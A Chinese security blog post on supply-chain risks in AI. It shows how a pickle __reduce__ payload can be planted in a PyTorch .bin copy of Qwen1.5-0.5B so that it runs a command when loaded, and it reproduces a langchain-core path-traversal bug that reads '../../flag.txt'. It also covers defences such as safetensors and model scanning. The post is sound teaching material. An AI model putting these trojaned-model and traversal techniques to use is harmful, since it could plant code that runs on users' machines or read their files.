概要供应链指的是一个东西从原材料准备、到生产、到发货、到自己收到货使用的整个流水线在互联网中供应链指从开发、分发、用户下载使用的整个过程而供应链安全表示在整个过程中的安全性比如软件开发时用到的插件有漏洞、第三方组件有漏洞、依赖库被攻击等等即整个链条中的某个节点出现了安全问题。注意软件自身如果有漏洞则不属于供应链问题供应链指的是别的东西带进来的比如别人的库、框架、插件、依赖等存在问题。好比说自己做饭难吃则不属于供应链问题但买回来的菜变质了这个就属于供应链问题。AI领域的供应链安全则包含了AI的整个生命周期从开发、部署、维护等涉及的所有步骤和组件比如数据收集、算法开发、模型训练、模型部署、模型维护等等。例如预训练模型被植入了木马第三方训练数据问题例如之前总结的数据投毒以及第三方的扩展与生态例如之前总结的不安全的插件等这些都属于供应链问题。关于数据投毒、不安全的插件等内容可以参考之前的文章这里来测试两个场景一个模型植入木马一个第三方依赖问题。模型植入木马很多开源模型都是基于pytorch框架训练的模型权重格式默认是pt、bin这些而这些格式都用到了python标准库中的pickle模块该模块可以进行序列化和反序列化它在反序列化时有个机制即可通过__reduce__魔术方法去执行特定的代码。而模型训练保存时就相当于一个序列化过程将相关python对象转成二进制字节流存到硬盘而模型的加载就相当于是反序列化。所以对于pytorch的模型是可以通过该机制植入木马的。开始之前我们先来测试下pickle的序列化和反序列化便于理解序列化代码如下importpickleimportos class BadGuy: def __reduce__(self):return(os.system,(calc.exe,))# 进行序列化相当于保存为模型文件with open(bad.bin,wb)as f: pickle.dump(BadGuy(), f)print(恶意文件已生成bad.bin)执行后会生成一个bin文件反序列化代码如下importpickle# 反序列化相当于加载模型文件with open(bad.bin,rb)as f: datapickle.load(f)print(加载完成)执行后会自动执行bin文件中的reduce方法。下面我们来拿一个模型测试下。这里以qwen1.5的0.5b为例思路就是拉取该模型然后把恶意类注入到模型的层结构中生成新模型即可。注意huggingface为了安全现在平台基本没有bin格式的模型要求统一提供safetensors格式该格式不会执行任何代码所以是安全的。我们这里拉取qwen模型后默认就是safetensors但保存时要保存为bin格式代码如下importtorch from transformersimportAutoModelForCausalLM, AutoConfigimportosimportsys model_idQwen/Qwen1.5-0.5BmodelAutoModelForCausalLM.from_pretrained(model_id)# 提取权重字典state_dictmodel.state_dict()# 制造木马class TrojanPayload: def __reduce__(self):return(os.system,(calc.exe,))# 寻找一个真实的参数节点进行注入# Qwen 的真实层级结构里有 model.layers.0.mlp.down_proj.weight# 我们在它旁边伪造一个极其逼真的 meta 数据节点state_dict[model.layers.0.mlp.down_proj.bias_metadata_v2]TrojanPayload()# 保存为bin文件注意safetensors文件不会执行代码torch.save(state_dict, os.path.join(./,pytorch_model.bin))# 保存配置文件让 transformers 库认识这个模型model.config.save_pretrained(./)print(eval model success)执行后当前目录会多一个pytorch_model的bin文件和一个config.json配置文件随后我们用torch进行加载加载时会触发代码执行importtorch try: weightstorch.load(./pytorch_model.bin,weights_onlyFalse)print(hack model load success)except Exception as e: print(ferror: {e})效果如下注意上面是用torch加载也可以用transformers加载代码如下from transformersimportAutoModelForCausalLM try: modelAutoModelForCausalLM.from_pretrained(./)print(hack model load success)except Exception as e: print(ferror: {e})但transformers在较新版本中加了一个校验机制会校验当前pytorch的版本如果pytorch低于2.6就会禁止调用load去加载模型因为pytorch在2.6及以上做了安全防护只会加载数据部分不会去执行相关指令。我这里pytorch是2.6以下所以加载时报错了transformers禁止进行模型调用。那如果自己要加载bin模型可以使用modelscan等工具进行安全扫描当然攻击者也可能将后门进行加密编码导致扫描不到此时可以放到虚拟机中断开网络然后加载模型使用wireshark抓包进行分析。第三方依赖问题下面再来看一个第三方库的场景这里以langchain为例langchain是一个创建智能体的框架它可以接入模型也可以定义模型可以调用的工具这里先来看一个langchain的用法。先安装下相关的库pipinstalllangchain langchain-community langchain-experimental之后我们通过langchain调用本地的模型然后工具集定义一个执行python的工具即PythonREPLTool这个是langchain自带的工具随后我们给模型的指令是进行数学计算如果只靠模型它本质是随机预测下一个字符很难得到结果所以需要借助python工具写个代码让其执行从而获得结果代码如下from langchain_community.chat_modelsimportChatOllama from langchain_experimental.agents.agent_toolkitsimportcreate_python_agent from langchain_experimental.toolsimportPythonREPLTool# 调用本地模型llmChatOllama(modelqwen2.5-coder:7b,temperature0.1)# 准备工具箱这里只放了一个 Python 执行工具# PythonREPLTool 的功能接收大模型写出的 Python 代码然后在服务器上执行返回结果。python_toolPythonREPLTool()# 将大模型和工具结合创建 Agent (智能体)agentcreate_python_agent(llmllm,toolpython_tool)# 用户提问user_question请用 Python 帮我打印出斐波那契数列的前 10 个数字。print(f\n [用户]: {user_question})# 执行任务try: agent.invoke({input:user_question})except Exception as e: print(f执行出错: {e})初步了解langchain后我们来复现一个漏洞该漏洞是CVE-2026-34070langchain加载配置文件时没有对路径做校验可通过目录遍历读取任意文件受影响版本是小于1.2.22我们假设我们相关AI代码中引入了langchain库相当于一个供应链问题首先创建个python虚拟环境测试# 创建虚拟环境python-mvenv langchain_cve# 激活虚拟环境langchain_cve\Scripts\activate# 安装存在漏洞的指定版本pipinstalllangchain-core1.2.21之后运行如下脚本其配置文件的路径我们放在脚本的上上层目录中通过…/…/去读取如下代码importos from langchain_core.prompts.loadingimportload_prompt_from_config malicious_config{_type:prompt,template_path:../../flag.txt,input_variables:[]}try:# 存在漏洞时这里就会直接把上上级目录的flag文件当做 Prompt 加载进来promptload_prompt_from_config(malicious_config)print(, prompt.template)except Exception as e: print(fail, e)运行后可以成功读取到对应的文件内容效果如下图下面对langchain进行升级pipinstall--upgradelangchain-core升级后再运行脚本发现提示不能跨目录读取如下图总结按照供应链问题的边界定义只要不是开发自己写的代码所产生的漏洞就都可以归为供应链问题。小枣信安专注AI安全包括但不限于大模型安全、智能体安全、机器人安全、AI赋能网络安全等欢迎一起学习。